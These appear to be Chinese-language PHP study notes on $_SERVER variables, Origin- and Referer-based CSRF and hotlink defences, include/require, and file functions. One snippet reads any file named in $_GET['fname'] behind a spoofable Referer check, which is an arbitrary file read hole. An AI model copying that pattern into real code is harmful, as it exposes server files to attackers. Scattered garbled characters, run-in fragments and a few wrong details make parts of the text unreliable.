'PATH_TRANSLATED' 当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果 PHP4.3.2起,PATH_TRANSLATED在Apache 2 SAPI模式下不再和Apache 1一样隐含赋值,而是若Apache不生成此值,PHP便自己生成并将其值放入SCRIPT_FILENAME服务器常量中。这个修改遵守了CGI规范,PATH_TRANSLATED仅在PATH_INFO被定义的条件下才存在Apache2用户可以在httpd.conf中设置AcceptPathInfo = On来定义PATH_INFO 'SCRIPT_NAME' => string '/study/php/hello.php' 包含当前脚本的路径。这在页面需要指向自己时非常有用 'REQUEST_URI' => string '/study/php/hello.php?a=ajax&b=bootstrap' URI 用来指定要访问的页 'PHP_AUTH_DIGEST' 当作为Apache模块运行时,进行HTTP Digest认证的过程中,此变量被设置成客户端发送的"Authorization" HTTP 头内容(以便作进一步的认证操作) 'PHP_AUTH_USER' 当PHP运行在Apache或IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用HTTP认证功能,这个变量便是用户输入的用户名 'PHP_AUTH_PW' 当PHP运行在Apache或IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用HTTP认证功能,这个变量便是用户输入的密码 'AUTH_TYPE' 当PHP运行在Apache模块方式下,并且正在使用HTTP认证功能,这个变量便是认证的类型 'PATH_INFO' 包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话 例如,如果当前脚本是通过 URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么 $_SERVER['PATH_INFO'] 将包含 /some/stuff 'ORIG_PATH_INFO' 在被 PHP 处理之前,"PATH_INFO" 的原始版本 HTTP_ORIGIN 为了防止CSRF的攻击,建议修改浏览器在发送POST请求的时候加上一个Origin字段,这个Origin字段主要是用来标识出最初请求是从哪里发起的。如果浏览器不能确定源在哪里,那么在发送的请求里面Origin字段的值就为空。 隐私方面:这种Origin字段的方式比Referer更人性化,因为它尊重了用户的隐私。 1、Origin字段里只包含是谁发起的请求,并没有其他信息 (通常情况下是方案,主机和活动文档URL的端口)。跟Referer不一样的是,Origin字段并没有包含涉及到用户隐私的URL路径和请求内容,这个尤其重要。 2、Origin字段只存在于POST请求,而Referer则存在于所有类型的请求。 随便点击一个超链接(比如从搜索列表里或企业intranet),并不会发送Origin字段,这样可以防止敏感信息的以外泄露。 在应对隐私问题方面,Origin字段的方法可能更能迎合用户的口味。 服务端要做的:用Origin字段的方法来防御CSRF攻击的时候,网站需要做到以下几点: 1、在所有能改变状态的请求里包括登陆请求都必须使用POST方法。对于一些特定的能改变状态的GET请求必须要拒绝,这是为了对抗上文中提到过的论坛张贴的那种危害类型。 2、对于那些有Origin字段但是值并不是我们希望的(包括值为空)请求,服务器要一律拒绝。比如服务器可以拒绝一切Origin字段为外站的请求。 安全性分析:虽然Origin字段的设计非常简单,但是用它来防御CSRF攻击可以起到很好的作用。 1、去掉Origin字段。由于支持这种方法的浏览器在每次POST请求的时候都会带上源header,那么网站就可以通过查看是否存在这种Origin字段来确定请求是否是由支持这种方法的浏览器发起的。这种设计能有效防止攻击者将一个支持这种方法的浏览器改变成不支持这种方法的浏览器,因为即使你改变浏览器去掉了Origin字段,Origin字段还是存在,只不过值变为空了。这跟Referer很不一样,因为Referer 只要是在请求里去掉了,那服务器就探测不到了。 2、DNS重新绑定。在现有的浏览器里面,对于同站的XMLHttpRequests,Origin字段可以被伪造。只依赖网络连接进行身份验证的网站应当使用在第2章里提到的DNS重新绑定的方法,比如验证header里的Host字段。在使用Origin字段来防御CSRF攻击的时候,也需要用到DNS重新绑定的方法,他们是相辅相成的。当然对于在第四章里提到的CSRF防御方法,也需要用到DNS重新绑定的方法。 3、插件。如果网站根据crossdomain.xml准备接受一个跨站HTTP请求的时候,攻击者可以在请求里用Flash Player来设置Origin字段。在处理跨站请求的时候,token验证的方法处理的不好,因为token会暴露。为了应对这些攻击,网站不应当接受不可信来源的跨站请求。 4、应用。Origin字段跟以下四个用来确定请求来源的建议非常类似。Origin字段以下四个建议的基础上统一并改进了,目前已经有几个组织采用了Origin字段的方法建议。 ? Cross-Site XMLHttp Request。Cross-Site XMLHttp Request的方法规定了一个Access-Control-Origin 字段,用来确定请求来源。这个字段存在于所有的HTTP方法,但是它只在XMLHttpRequests请求的时候才会带上。我们对Origin字段的设想就是来源于这个建议,而且Cross-Site XMLHttp Request工作组已经接受我们的建议愿意将字段统一命名为Origin。 ?XDomainRequest。在Internet Explorer 8 Beta 1里有XDomainRequest的API,它在发送HTTP请求的时候将Referer里的路径和请求内容删掉了。被缩减后的Referer字段可以标识请求的来源。实验结果表明这种删减的Referer字段经常会被拒绝,而Origin字段却不会。微软已经发表声明将会采用我们的建议将XDomainRequest里的删减Referer更改为Origin字段。 ? JSONRequest。在JSONRequest这种设计里,包含有一个Domain字段用来标识发起请求的主机名。相比之下Origin字段方法不仅包含有主机,还包含请求的方案和端口。JSONRequest规范的设计者已经接受建议愿意将Domain字段更改为Origin字段,以用来防止网络攻击。 ? Cross-Document Messaging。在HTML5规范里提出了一个建议,就是建立一个新的浏览器API,用来验证客户端在HTML文件之间链接。这种设计里面包含一个不能被覆盖的origin属性,如果不是在客户端的话,在服务端验证这种origin属性的过程与我们验证origin字段的过程其实是一样的。 具体实施:在服务器和浏览器端都实现了利用origin字段的方法来防止CSRF攻击。在浏览器端我们的实现origin字段方式是,在WebKit添加一个8行代码的补丁,Safari里有我们的开源组件,Firefox里有一个466行代码的插件。在服务器端我们实现origin字段的方式是,在ModSecurity应用防火墙里我们只用3行代码,在Apache里添加一个应用防火墙语言。这些规则在POST请求里能验证Host字段和具有合法值的origin字段。在实现这些规则来防御CSRF攻击的时候,网站并不需要做出什么改变,而且这些规则还能确保GET请求没有任何攻击性(前提是浏览器端已经实现了origin字段方法)。获取请求的来源针对网站访问者不是普通用户而是搜索引擎蜘蛛程序返回一个高度优化到语句已无法读的程度的页面
$_SERVER['HTTP_REFERER']
$_SERVER['HTTP_REFERER']可以获取当前链接的上一个连接的来源地址,即链接到当前页面的前一页面的URL地址,可以做到防盗链作用
a站点的图片全部存储在c站点(云服务器)上,c站点将识别调用方是否来自a站点,否则显示一张错误图片,b站是盗图网站
if(strpos($_SERVER['HTTP_REFERER'],'www.a.com') !== false){ //以下的写法并不严谨,这里只是做测试
if(file_exists($_GET['fname'])) echo file_get_contents($_GET['fname']);
}
$_SERVER['HTTP_REFERER']完全来源于浏览器,并不是所有的用户代理(浏览器)都会设置这个变量,而且有的还可以伪造,因此$_SERVER['HTTP_REFERER']不总是真实正确的。
HTTP_REFERER存在需要两个条件:
1、客户端浏览器请求(服务器端请求的情况下是不存在HTTP_REFERER的,但可以伪造header);
2、存在前导页;
获取不到HTTP_REFERER值的情况:
在浏览器内直接输入网址访问该网页
windows桌面上的超链接图标
浏览器内书签
第三方软件(如Word,Excel等)内容中的链接
SSL认证网站跳入
http://example.com/"> meta页面设置自动跳转时,在example.com将取不到REFERER URL
使用meta refresh重定向的网址。
Javascript window.open()、window.location、 Location.href或是Location.replace()打开的网址。
使用PHP header重定向的网址。
flash中的链接。
浏览器未加设置或被用户修改。
在以下情况下可以获取HTTP_REFERER值:
直接用
通过a超链接
form提交的表单(POST或GET)
src请求(如js的script标签及html中img标签的src属性)
由于$_SERVER['HTTP_REFERER']对POST表单访问也是有效的,因此在表单数据处理页面一定程度上可以通过校验$_SERVER['HTTP_REFERER']来防止表单数据的恶意提交。但该方法并不能保证表单数据的绝对正确,即对表单数据的真实性检测并不能完全依赖于$_SERVER['HTTP_REFERER']
如何伪造HTTP_REFERER
有一些头信息是系统本身就存在且不能更改的,如HOST,USER_AGENT等,常用到的是$_SERVER['HTTP_HOST'],$_SERVER['HTTP_USER_AGENT'],这里面都有HTTP前缀,实现上在header信息里面是没有HTTP前缀的,信息名称只是HOST之类的,$_SERVER自动的为他们加上HTTP前缀,1是为了防止与本身的其它信息相冲突,2是为了表示他们是header头部的信息。所以$_SERVER中的变量凡是带有HTTP前缀的均是header信息,没有的则不是,如:$_SERVER['QUERY_STRING'],$_SERVER['PHP_SELF']等
用户可以创建自定义的header头部信息,并把这些信息发送给服务器端,服务器端就会记录这些header信息,并把他们存储到$_SERVER变量中,当然实现的变量名称变成了"HTTP_"连上用户的变量名称.比如上面的判断ajax请求.实际上是在向服务器发送异步请求之前,向header中加入一条header信息,实际的语句应该是:
xmlHttpRequest.setRequestHeader("X_REQUESTED_WITH","任意字符串");
服务器端通过$_SERVER['HTTP_X_REQUESTED_WITH']这个变量是否存在,或具体的值来判断是否是ajax请求或具体是哪一条ajax请求。所以利用这个不但可以验证请求是否是ajax请求,还可以获取更多的信息
同样可以在header中任意设置其它的信息,用于跟服务器端进行数据交流
比如:xmlHttpRequest.setRequestHeader("test","just a test"); 那么被请求的服务器页面中的变量$_SERVER['HTTP_TEST']的值就是"just a test"; 注意这里面前面的test不固定大小写,后面的$_SERVER['HTTP_TEST']必须是大写
【 $_REQUEST 】 用于收集HTML表单提交的数据
【 $_POST 】
广泛用于收集提交method="post"的HTML表单后的表单数据。通过HTTP POST传递到当前脚本的变量数组
通过POST方法从表单发送的信息对其他人是不可见的,所有名称/值会被嵌入HTTP请求的主体中,并且对所发送信息的数量也无限制
当HTTP POST请求的Content-Type是application/x-www-form-urlencoded或multipart/form-data时会将变量以关联数组形式传入当前脚本
$_POST["name"] 接收POST提交的
echo 'Hello ' . htmlspecialchars($_POST["name"]) . '!';
在请求头中Content-Type为application/json时,php就无法通过$_POST对象从上面的请求中获得内容,从php://input里获得原始输入流,再json_decode成对象
当处理一个内容类型为 application/json 的 POST 有效内容时需要手动解析请求内容(decode 出 JSON 数据)并且覆盖 $_POST 变量
$_POST = json_decode(file_get_contents('php://input'), true);
【 $_GET 】
也可用于收集提交表单(默认method="get")数据,传递变量,通过 URL 参数传递到当前脚本的变量数组
通过GET方法从表单发送的信息对任何人都是可见的,所有变量名和值都显示在URL中,所以不能用来发送密码等敏感信息
GET对所发送信息的数量也有限制,限制在大于2000个字符。不过由于变量显示在URL中,把页面添加到书签中也更为方便
【 $_FILES 】
可以从客户计算机向远程服务器上传文件
1.$_FILES["file"]["name"] 被上传文件的名称
2.$_FILES["file"]["type"] 被上传文件的类型
3.$_FILES["file"]["size"] 被上传文件的大小,以字节计
4.$_FILES["file"]["tmp_name"] 存储在服务器的文件的临时副本的名称
5.$_FILES["file"]["error"] 由文件上传导致的错误代码
【 $_ENV 】
存储了一些系统的环境变量,涉及实际的操作系统
【 $_COOKIE 】
【 $_SESSION 】
文件系统和表单处理
文件包含: include、require、include_once、require_once
服务器端包含SSI: 用于创建可在多个页面重复使用的函数、页面、页脚、元素 通过include或require语句可以在服务器执行它之前将指定PHP文件的内容(文本/代码/标记)插入另一个使用include语句的PHP文件 要在脚本中自动包含文件参见php.ini中的auto_prepend_file和auto_append_file配置选项。 include语句包含并运行指定文件 include文件时尽量使用绝对路径,因为它避免了PHP去include_path里查找文件的速度,解析操作系统路径所需的时间会更少 被包含文件先按参数给出的路径寻找,只有文件名没有给出目录时则按照include_path指定的目录寻找,没找到则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include结构会发出一条警告;这一点和require不同,require会发出一个致命错误。 如果定义了路径,不管是绝对路径还是当前目录的相对路径,include_path都会被完全忽略 因为是一个语言构造器而不是一个函数,不能被可变函数调用。 处理错误方面的差别: require会生成致命错误(E_COMPILE_ERROR)并停止脚本,include只生成警告(E_WARNING),并且脚本会继续
当一个文件被包含时语法解析器在目标文件的开头脱离PHP模式并进入HTML模式,到文件结尾处恢复。由于此原因,目标文件中需要作为PHP代码执行的任何代码都必须被包括在有效的PHP起始和结束标记之中。
【 远程包含 vs 本地包含 】 如果"URL fopen wrappers"在PHP中被激活(默认配置),可以用URL通过HTTP或其它支持的封装协议而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为PHP代码解释,则可以用适用于HTTP GET的URL请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果 远程文件可能会经远程服务器处理(根据文件后缀以及远程服务器是否在运行PHP而定),但必须产生出一个合法的PHP脚本,因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果,那用readfile()函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。通过HTTP进行的include
处理返回值
失败时include返回FALSE并发出警告,成功的包含则返回1,除非在包含文件中另外给出了返回值。
可以在被包括的文件中使用return语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得include调用的返回值。不过这在包含远程文件时却不行,除非远程文件的输出具有合法的PHP开始和结束标记(如同任何本地文件一样)。可以在标记内定义所需的变量,该变量在文件被包含的位置之后就可用了。
如果被包含文件中用return返回,那么这个值就是return的值,利用它来方便地使用php文件来做配置
return array(
host => '127.0.0.1',
port => 6379
)
因为include是一个特殊的语言结构,其参数不需要括号,在比较其返回值时要注意
if (include('vars.php') == 'OK') echo 'OK'; // won't work,evaluated as include(('vars.php') == 'OK'),i.e. include('')
if ((include 'vars.php') == 'OK') echo 'OK'; // works
如果在包含文件中定义有函数,这些函数不管是在return之前还是之后定义的,都可以独立在主文件中使用。 如果文件被包含两次,PHP 5发出致命错误因为函数已经被定义,但是PHP 4不会对在return之后定义的函数报错。 推荐使用include_once而不是检查文件是否已包含并在包含文件中有条件返回。 另一个PH文件"包含"到一个变量中的方法是用输出控制函数结合include来捕获其输出使用输出缓冲来将PHP文件包含入一个字符串
同一文档中多次require同一class文档会引发错误,这时可以使用require_once require_once 'User.php';
使用远程文件
只要在php.ini文件中激活allow_url_fopen选项就可以在大多数需要用文件名作为参数的函数中使用HTTP和FTP的URL来代替文件名,同时也可以在include、include_once、require及require_once语句中使用URL
如果有合法的访问权限,以一个用户的身份和某FTP服务器建立了链接,还可以向该FTP服务器端的文件进行写操作。仅能用该方法来创建新的文件;如果尝试覆盖已经存在的文件,fopen()函数的调用将会失败。 要以"anonymous"以外的用户名连接服务器,需要指明用户名,可能还有密码,例如"ftp://user:password@ftp.example.com/path/to/file",也可以在通过需要Basic认证的HTTP协议访问远程文件时使用相同的语法 用该技术来存储远程日志文件,但是正如以上提到的,在用fopen()方式打开的URL中,仅能对新文件进行写操作。如果远程文件已经存在则fopen()函数的操作将会失败。要做类似于分布式日志的事,可以参考syslog()函数将数据保存到远程服务器系统在线升级更新
PHP操作文件 文件指针 handle
模式 描述 r 打开文件为只读,文件指针在文件的开头开始 w 打开文件为只写,删除文件的内容或如果它不存在创建一个新的文件。文件指针在文件的开头开始 a 打开文件为只写,文件中的现有数据会被保留。文件指针在文件结尾开始。若不存在则创建新文件 x 创建新文件为只写,如果文件已存在返回FALSE和错误 r+ 打开文件为读/写,文件指针在文件开头开始 w+ 打开文件为读/写,删除文件内容或如果它不存在创建新文件。文件指针在文件开头开始 a+ 打开文件为读/写,文件中已有的数据会被保留。文件指针在文件结尾开始。若不存在则创建新文件 x+ 创建新文件为读/写,如果文件已存在返回FALSE和错误 【clearstatcache()】 清除文件状态缓存 PHP会缓存某些函数的返回信息,以便提供更高的性能。但是有时候,比如在一个脚本中多次检查同一个文件,而该文件在此脚本执行期间有被删除或修改的危险时,你需要清除文件状态缓存,以便获得正确的结果。要做到这一点,请使用 clearstatcache() 函数 会进行缓存的函数,即受 clearstatcache() 函数影响的函数: stat() lstat() file_exists() is_writable() is_readable() is_executable() is_file() is_dir() is_link() filectime() fileatime() filemtime() fileinode() filegroup() fileowner() filesize() filetype() fileperms() 【 popen() 】 popen(command,mode) 打开一个进程,使用 command 参数打开进程文件指针,出错则返回false command 必需。规定要执行的命令 mode 必需。规定连接模式。可能的值: r: 只读。w: 只写(打)并清空已有文件或创建一个新文件) 【 pclose() 】 pclose(pipe) 关闭由 popen() 打开的进程pipe,失败返回false
【 parse_ini_string() 】
array parse_ini_string(string $ini [,bool $process_sections=false [,int $scanner_mode=INI_SCANNER_NORMAL ]])
解析配置字符串,返回ini字符串解析后的关联数组
ini 字符串的格式参考 php.ini
process_sections
设置 process_sections 参数为 TRUE,得到一个多维数组,包含名称和设置。process_sections 默认为 FALSE
scanner_mode
可以是 INI_SCANNER_NORMAL (默认)或 INI_SCANNER_RAW 。如果是 INI_SCANNER_RAW,那么选项值不会被解析
【 parse_ini_file() 】
parse_ini_file(file,process_sections)
解析一个配置文件(ini 文件),并以数组的形式返回其中的设置
file 必需。规定要检查的 ini 文件
process_sections 可选。设置为TRUE则返回一个多维数组,包括配置文件中每一节的名称和设置。默认FALSE
有些保留字不能作为 ini 文件中的键名,包括: null、yes、no、true 和 false。字符 {}|&~![()" 也不能用在键名的任何地方
【 readfile() 】 int readfile ( string $filename [,bool $use_include_path = false [,resource $context ]] ) 读取一个文件并写入到输出缓冲 成功则返回从文件中读入的字节数,失败则返回FALSE并附带错误信息,可通过在函数名前面添加一个'@'来隐藏错误输出 如果在php.ini文件中"fopen wrappers"已经被激活,可以在本函数中把URL作为文件名来使用 filename 必需。规定要读取的文件 include_path 可选。如果还想在include_path(在php.ini中)中搜索文件的话,请设置该参数为 '1' context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项使用readfile()强制下载limit download rate
【 fopen() 】
resource fopen ( string $filename ,string $mode [,bool $use_include_path = false [,resource $context ]] )
打开一个文件或URL,以二进制形式打开文件,也可创建文件
失败则返回FALSE并附带错误信息,可以通过在函数名前面添加一个 '@' 来隐藏错误输出
filename 必需。规定要打开的文件或URL
mode 必需。规定您请求到该文件/流的访问类型
include_path 可选。如果还想在include_path(在php.ini中)中搜索文件的话,请设置该参数为 '1'
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项
php中可以通过fopen()打开一个文件,第二个参数设置为"r"表示已只读方式打开,函数返回一个文件句柄,其它函数就可以通过这个文件句柄对文件进行不同方式的读取
当书写一个文本文件时,请确保您使用了正确的行结束符!Unix为\n,Windows为\r\n,Macintosh为\r
Windows提供了一个文本转换标记"t",可以透明地将\n转换为\r\n
还可以使用"b"来强制使用二进制模式,这样就不会转换数据
为了使用这些标记,请使用"b"或"t"来作为mode参数的最后一个字符
$file = fopen("test.txt","r");
$file = fopen("/home/test/test.txt","r");
$file = fopen("/home/test/test.gif","wb");
$file = fopen("http://www.example.com/","r");
$file = fopen("ftp://user:password@example.com/test.txt","w");
【 fclose() 】
bool fclose ( resource $handle )
关闭打开的文件,成功返回true,失败返回false
$file = fopen("test.txt","r");
//some code to be executed
fclose($file);
【 feof() 】
bool feof ( resource $handle )
测试文件指针是否到了文件末尾"end-of-file" (EOF),对遍历长度未知的数据很有用
如果出错或文件指针到了文件末尾(EOF)则返回TRUE,否则返回FALSE
【 fread() 】
string fread ( resource $handle ,int $length )
读取打开的文件,函数会在到达指定长度或读到文件末尾EOF时(以先到者为准)停止运行
该函数返回读取的字符串,如果失败则返回FALSE
该函数是二进制安全的,意思是二进制数据(如图像)和字符数据都可以使用此函数写入
fread(filename,filesize("webdictionary.txt")) // 读至文件结尾
handle 文件系统指针,是典型地由 fopen() 创建的 resource(资源)
length 必需。规定要读取的最大字节数
【 fgets() 】
string fgets ( resource $handle [,int $length ] )
从打开的文件中返回一行,会在到达指定长度或读到文件末尾EOF时(以先到者为准)停止返回一个新行
如果失败该函数返回 FALSE
file 必需。规定要读取的文件
length 可选。规定要读取的字节数。默认是 1024 字节
【 stream_get_line() 】 string stream_get_line(resource $handle ,int $length [,string $ending ]) (>=php5) 从给定的资源流里读取一行 当读取到length个字节数就结束,或当在读取的字符串中发现ending(不包含到返回值里)也结束,又或遇到了EOF也结束,总之以上条件中哪个先出现就以哪个为准 这个函数与fgets()几乎是相同的,唯一的区别是在这个函数里面允许指定行尾的定界符,而不是使用标准的\n,\r 还有\r\n ,并且返回值中不包含定界符。 也可以把 \n 等作为定界符传入 ending获取文件的行数
【 fgetc() 】 string fgetc ( resource $handle ) 从打开的文件中返回一个单一的字符 该函数处理大文件非常缓慢,所以它不用于处理大文件。如果需要从一个大文件依次读取一个字符请使用fgets()依次读取一行数据,然后使用fgetc()依次处理行数据 【 fwrite() 】 int fwrite ( resource $handle ,string $string [,int $length ] ) 把string的内容写入文件指针handle处,返回写入的字符数,出现错误时则返回FALSE 会创建新文件,文件已存在的话会覆盖已存在的内容overwriting 写入文件,可安全用于二进制文件,即二进制数据(如图像)和字符数据都可以使用此函数写入 handle参数是文件系统指针,是典型地由fopen()创建的resource(资源)。 string参数是The string that is to be written. length参数 如果指定了length,当写入了length个字节或写完了string以后,写入就会停止,视乎先碰到哪种情况。 注意如果给出了length参数,则magic_quotes_runtime配置选项将被忽略,而string中的斜线将不会被抽去。 fwrite和file_put_contents的区别与性能 fwrite的速度比file_put_contents快10倍以上,使用file_put_contents都会在写入时先打开文件在写入结束后在关闭文件,使用fwrite仅仅需要打开一次文件即可 一般来说PHP程序遇到异常输出一条文件日志然后就结束了,这种情况fwrite和file_put_contents系统调用的结果是一样的,而且file_put_contents调用简单,而且是一次php调用,可以节省函数变量传递,因此在一般情况下使用file_put_contents是一个不错的选择 PHP CLI(command line interface)中有三个系统常量,分别是STDIN、STDOUT、STDERR,代表文件句柄。 fwrite(STDOUT);the content of 'data.txt' is now 123 and not 23
追加写入 对文件的追加写入,实际与fwrite函数无关,而与fopen函数打开文件的模式有关。当fopen打开文件时mode参数选择a则表示在文件后面追加写入
【 is_file() 】
bool is_file ( string $filename )
判断给定文件名是否为一个正常的文件,如果文件存在且为正常的文件则返回TRUE,否则返回FALSE
判断文件是否是常规的文件,结果会缓存,请使用clearstatcache()来清除缓存
file_exists = is_dir + is_file
文件存在的情况下,is_file比file_exists要快N倍;
文件不存在的情况下,is_file比file_exists要慢;
file_exits函数并不会因为该文件是否真的存在而影响速度,但是is_file影响就大了
var_dump(is_file('a_file.txt')) . "\n"; // bool(true)
var_dump(is_file('/usr/bin/')) . "\n"; // bool(false)
【is_readable(filename)】 判断文件是否可读,结果会被缓存,请使用 clearstatcache() 来清除缓存
【is_writable(filename)】 判断文件是否可写,结果会被缓存,请使用 clearstatcache() 来清除缓存
【 stat() 】
array stat ( string $filename )
获取由 filename 指定的文件的统计信息。如果 filename 是符号连接,则统计信息是关于被连接文件本身的,而不是符号连接。
lstat() 和 stat() 相同,只除了它会返回符号连接的状态
var_dump(stat(__FILE__));
array (size=26)
0 => int 4
1 => int 0
2 => int 33206
3 => int 1
4 => int 0
5 => int 0
6 => int 4
7 => int 139
8 => int 1531106878
9 => int 1532657783
10 => int 1497184911
11 => int -1
12 => int -1
'dev' => int 4
'ino' => int 0
'mode' => int 33206
'nlink' => int 1
'uid' => int 0
'gid' => int 0
'rdev' => int 4
'size' => int 139
'atime' => int 1531106878
'mtime' => int 1532657783
'ctime' => int 1497184911
'blksize' => int -1
'blocks' => int -1
【 fstat() 】
fstat(file)
通过已打开的文件指针取得文件信息,返回关于一个打开的文件的信息的数组
fstat()函数与stat()函数大致类似,唯一的不同点就是fstat()函数在使用时文件必须已经打开
该函数将返回一个包含下列元素的数组:
[0] 或 [dev] - 设备编号
[1] 或 [ino] - inode编号
[2] 或 [mode] - inode保护模式
[3] 或 [nlink] - 连接数目
[4] 或 [uid] - 所有者的用户ID
[5] 或 [gid] - 所有者的组ID
[6] 或 [rdev] - inode设备类型
[7] 或 [size] - 文件大小的字节数
[8] 或 [atime] - 上次访问时间(U)ix时间戳)
[9] 或 [mtime] - 上次修改时间(U)ix时间戳)
[10] 或 [ctime] - 上次inode改变时间(U)ix时间戳)
[11] 或 [blksize] - 文件系统IO的块大小
[12] 或 [blocks] - 所占据块的数目
$file = fopen("test.txt","r");
print_r(fstat($file));
fclose($file);
【 filesize() 】
filesize(filename)
取得文件大小,结果会被缓存,请使用clearstatcache()来清除缓存
【 flietype() 】
flietype(filename)
返回指定文件或目录的类型,成功则返回 7 种可能的值之一,失败则返回FALSE
可能的返回值: fifo char dir block link file unknown
结果会被缓存,请使用 clearstatcache() 来清除缓存
【 is_executable() 】
is_executable(file)
检查指定的文件是否可执行,返回布尔,结果会被缓存,请使用 clearstatcache() 来清除缓存
【 is_link() 】
is_link(file)
检查指定的文件是否是一个连接,返回布尔,结果会被缓存,请使用 clearstatcache() 来清除缓存
【 link() 】
link(target,link)
创建一个从指定名称连接的现存目标文件开始的硬连接,返回布尔
这不是一个 HTML 连接,而是一个文件系统中的连接,windows上不能使用
该函数不能作用于远程文件
【 linkinfo() 】
linkinfo(path)
返回有关一个硬连接的信息,返回设备ID,失败则返回FALSE
【 fileatime() 】
fileatime(filename)
返回文件的上次访问时间,结果会被缓存,请使用 clearstatcache() 来清除缓存
成功将以Unix时间戳形式返回文件的上次访问时间,失败则返回FALSE
【 filectime() 】
filectime(filename)
返回文件的上次修改时间,结果会被缓存,请使用 clearstatcache() 来清除缓存
该函数将检查文件的日常修改情况和inode修改情况(权限的修改、所有者的修改、用户组的修改或其他元数据的修改)
成功将以Unix时间戳形式返回文件的上次修改时间,失败则返回FALSE
请使用 filemtime() 函数来返回文件内容最后被修改的时间
【 filemtime() 】
filemtime(filename)
返回文件内容的上次修改时间,结果会被缓存,请使用 clearstatcache() 来清除缓存
成功将以Unix时间戳形式返回文件的上次修改时间,失败则返回FALSE
【 unlink() 】
unlink ( string $filename [,resource $context ] ): bool
删除文件函数,返回布尔值
context参数规定文件句柄的环境,context是一套可以修改流的行为的选项
unset()
delete()
【 copy() 】
copy ( string $source ,string $dest [,resource $context ] ): bool
复制文件,如果目标文件已存在将会被覆盖,返回布尔
【 rename() 】
rename ( string $oldname ,string $newname [,resource $context ] ): bool
重命名文件或目录,返回布尔
【 ftell() 】
ftell ( resource $handle ): int
返回在打开文件中文件指针的当前位置,失败则返回 FALSE
【 fseek() 】
fseek(file,offset,whence)
在打开的文件中定位
该函数把文件指针从当前位置向前或向后移动到新的位置,新位置从文件头开始以字节数度量
成功返回0,失败则返回-1。移动到文件末尾(E)F)之后的位置不会产生错误
file 必需。规定要在其中定位的文件
offset 必需。规定新的位置(从)件头开始以字节数度量)
whence 可选。可能的值:
SEEK_SET - 设定位置等于 offset。默认
SEEK_CUR - 设定位置为当前位置加上 offset
SEEK_END - 设定位置为文件末尾(E)F)加上 offset(要)动到文件末尾之前的位置,offset 必须是一个负值)
$file = fopen("test.txt","r");
fgets($file); // read first line
fseek($file,0); // move back to beginning of file
【 rewind() 】
rewind(file): bool
将已打开的文件的文件指针的位置倒回文件的开头,返回布尔
$file = fopen("test.txt","r");
fseek($file,"15"); //Change position of file pointer
rewind($file); //Set file pointer to 0
fclose($file);
【 fpassthru() 】 fpassthru ( resource $handle ): int 输出文件指针处的所有剩余数据,将给定的文件指针从当前的位置读取到EOF并把结果写到输出缓冲区。 如果已经向文件写入数据,就必须调用 rewind() 来将文件指针指向文件头。 如果既不修改文件也不在特定位置检索只想将文件的内容下载到输出缓冲区,应该使用readfile(),这样可以省去fopen()调用 handle参数文件指针必须是有效的,必须指向由fopen()或fsockopen()成功打开的文件(并还未由 fclose() 关闭) 如果发生错误fpassthru()返回FALSE。否则fpassthru()返回从handle读取并传递到输出的字符数目对二进制文件使用fpassthru()
【 sys_get_temp_dir() 】 sys_get_temp_dir ( void ): string 返回PHP储存临时文件的默认目录的路径 【 tempnam() 】 tempnam ( string $dir ,string $prefix ): string 在指定目录中建立一个具有唯一文件名的文件。如果该目录不存在,tempnam()会在系统临时目录中生成一个prefix 前缀的文件,并返回其文件名
【 tmpfile() 】 以读写(w))模式创建一个具有唯一文件名的临时文件 临时文件会在文件关闭后(用)fclose())或当脚本结束后自动被删除
【 file() 】 file ( string $filename [,int $flags = 0 [,resource $context ]] ): array 把整个文件读入一个数组,数组中的每个元素都是文件中相应的一行,包括换行符在内,读取失败时返回false 该函数是二进制安全的,即二进制数据(如图像)和字符数据都可以使用此函数写入 可选参数flags可以是以下一个或多个常量: FILE_USE_INCLUDE_PATH 在include_path中查找文件。 FILE_IGNORE_NEW_LINES 在数组每个元素的末尾不要添加换行符 FILE_SKIP_EMPTY_LINES 跳过空行
【 fputcsv() 】 fputcsv(resource $handle,array $fields [,string $delimiter=',' [,string $enclosure='"' ]]): int 将一行(用fields数组传递)格式化为CSV格式并写入由handle指定的文件,返回写入字符串的长度,失败时返回FALSE 参数handle表示文件指针必须是有效的,必须指向由fopen()或fsockopen()成功打开的文件(并还未由fclose()关闭)。 fields参数表示值的一个数组。 可选的delimiter参数设定字段分界符(只允许一个字符)。 可选的enclosure参数设定字段字段环绕符(只允许一个字符)。
【 fgetcsv() 】 fgetcsv(resource $handle [,int $length=0 [,string $delimiter=',' [,string $enclosure='"' [,string $escape='\\' ]]]]): array 从文件指针中读入一行并解析CSV字段,和fgets()类似,只除了fgetcsv()解析读入的行并找出CSV格式的字段然后返回一个包含这些字段的索引数组 参数handle表示一个由fopen()、popen()或fsockopen()产生的有效文件指针。 length参数必须大于CVS文件内最长的一行。在PHP5中该参数是可选的。如果忽略(PHP5.0.4+版本中设为0)该参数的话长度就没有限制,不过可能会影响执行效率。 delimiter参数设置字段分界符(只允许一个字符)。 enclosure参数设置字段环绕符(只允许一个字符)。 escape参数设置转义字符(只允许一个字符),默认是一个反斜杠。 CSV文件中的空行将被返回为一个包含有单个null字段的数组,不会被当成错误 如果提供了无效的文件指针,fgetcsv()会返回NULL。其他错误,包括碰到文件结束时返回FALSE读取并显示CSV文件的整个内容
【 file_put_contents() 】
file_put_contents ( string $filename ,mixed $data [,int $flags = 0 [,resource $context ]] ): int
将一个字符串写入文件,无须打开文件,不写标志则每次覆盖,要想追加用FILE_APPEND
和依次调用fopen(),fwrite()以及fclose()功能一样
成功将返回写入文件中的字符数,失败则返回False,应使用 === 运算符来测试此函数的返回值
该函数访问文件时,遵循以下规则:
